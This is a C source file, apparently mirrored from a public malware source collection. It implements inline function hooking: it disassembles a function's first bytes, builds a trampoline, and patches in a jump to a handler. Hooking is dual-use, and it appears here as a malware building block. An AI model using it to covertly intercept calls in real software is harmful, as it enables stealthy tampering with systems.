mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
900263ea6f
n/a
153 lines
4.1 KiB
C
153 lines
4.1 KiB
C
#include "stdafx.h"
|
|
//--------------------------------------------------------------------------------------
|
|
PVOID Hook(PVOID Function, PVOID Handler, PULONG pBytesPatched)
|
|
{
|
|
#ifdef _X86_
|
|
|
|
#define SIZEOFJUMP 6
|
|
|
|
#elif _AMD64_
|
|
|
|
#define SIZEOFJUMP 14
|
|
|
|
#endif
|
|
|
|
ULONG Size = 0, CollectedSpace = 0;
|
|
PUCHAR pInst = (PUCHAR)Function;
|
|
ud_t ud_obj;
|
|
PVOID CallGate = NULL;
|
|
ULONG CallGateSize = 0;
|
|
|
|
if (pBytesPatched)
|
|
{
|
|
*pBytesPatched = 0;
|
|
}
|
|
|
|
// initialize disassembler engine
|
|
|
|
ud_init(&ud_obj);
|
|
|
|
// set mode, syntax and vendor
|
|
ud_set_mode(&ud_obj, UD_MODE);
|
|
ud_set_syntax(&ud_obj, UD_SYN_INTEL);
|
|
ud_set_vendor(&ud_obj, UD_VENDOR_INTEL);
|
|
|
|
while (CollectedSpace < SIZEOFJUMP)
|
|
{
|
|
ULONG dwInstLen = 0;
|
|
int i = 0;
|
|
ud_set_input_buffer(&ud_obj, pInst, MAX_INST_LEN);
|
|
|
|
// get length of instruction
|
|
dwInstLen = ud_disassemble(&ud_obj);
|
|
if (dwInstLen == 0)
|
|
{
|
|
// error while disassembling instruction
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Can't disassemble instruction at "IFMT"\n", pInst);
|
|
return NULL;
|
|
}
|
|
|
|
if (ud_obj.mnemonic == UD_Ijmp ||
|
|
ud_obj.mnemonic == UD_Icall)
|
|
{
|
|
// call/jmp with relative address
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() call/jmp/jxx instruction at "IFMT"\n", pInst);
|
|
return NULL;
|
|
}
|
|
|
|
for (i = 0; i < 3; i++)
|
|
{
|
|
if (ud_obj.operand[i].type == UD_OP_JIMM)
|
|
{
|
|
// jxx with relative address
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() jxx instruction at "IFMT"\n", pInst);
|
|
return NULL;
|
|
}
|
|
}
|
|
|
|
pInst += dwInstLen;
|
|
CollectedSpace += dwInstLen;
|
|
|
|
if (ud_obj.mnemonic == UD_Iret ||
|
|
ud_obj.mnemonic == UD_Iretf ||
|
|
ud_obj.mnemonic == UD_Iiretw ||
|
|
ud_obj.mnemonic == UD_Iiretq ||
|
|
ud_obj.mnemonic == UD_Iiretd)
|
|
{
|
|
// end of the function thunk?
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ret/retn/iret instruction at "IFMT"\n", pInst);
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (SIZEOFJUMP > CollectedSpace)
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: not enough memory for jump\n");
|
|
return NULL;
|
|
}
|
|
|
|
CallGateSize = CollectedSpace + SIZEOFJUMP;
|
|
|
|
// allocate memory for callgate
|
|
CallGate = M_ALLOC(CallGateSize);
|
|
if (CallGate)
|
|
{
|
|
// generate callgate
|
|
memset(CallGate, 0x90, CallGateSize);
|
|
|
|
// save begining of the function
|
|
memcpy(CallGate, Function, CollectedSpace);
|
|
|
|
#ifdef _X86_
|
|
|
|
// jump from callgate to function body
|
|
// push imm32
|
|
*(PUCHAR)((PUCHAR)CallGate + CollectedSpace) = 0x68;
|
|
*(PUCHAR *)((PUCHAR)CallGate + CollectedSpace + 1) = (PUCHAR)Function + SIZEOFJUMP;
|
|
// ret
|
|
*(PUCHAR)((PUCHAR)CallGate + CollectedSpace + 5) = 0xC3;
|
|
|
|
#elif _AMD64_
|
|
|
|
// jmp qword [addr]
|
|
*(PUSHORT)((PUCHAR)CallGate + CollectedSpace) = 0x25FF;
|
|
*(PULONG)((PUCHAR)CallGate + CollectedSpace + 2) = 0;
|
|
// addr dq XXXh
|
|
*(PULONGLONG)((PUCHAR)CallGate + CollectedSpace + 6) = (ULONGLONG)Function + SIZEOFJUMP;
|
|
|
|
#endif
|
|
|
|
// jump from the function to callgate
|
|
memset(Function, 0x90, CollectedSpace);
|
|
|
|
#ifdef _X86_
|
|
|
|
// push imm32
|
|
*(PUCHAR)Function = 0x68;
|
|
*(PUCHAR *)((PUCHAR)Function + 1) = (PUCHAR)Handler;
|
|
// ret
|
|
*(PUCHAR)((PUCHAR)Function + 5) = 0xC3;
|
|
|
|
#elif _AMD64_
|
|
|
|
// jmp qword [addr]
|
|
*(PUSHORT)Function = 0x25FF;
|
|
*(PULONG)((PUCHAR)Function + 2) = 0;
|
|
// addr dq XXXh
|
|
*(PULONGLONG)((PUCHAR)Function + 6) = (ULONGLONG)Handler;
|
|
|
|
#endif
|
|
*pBytesPatched = CollectedSpace;
|
|
|
|
return CallGate;
|
|
}
|
|
else
|
|
{
|
|
DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n");
|
|
}
|
|
|
|
return NULL;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
// EoF
|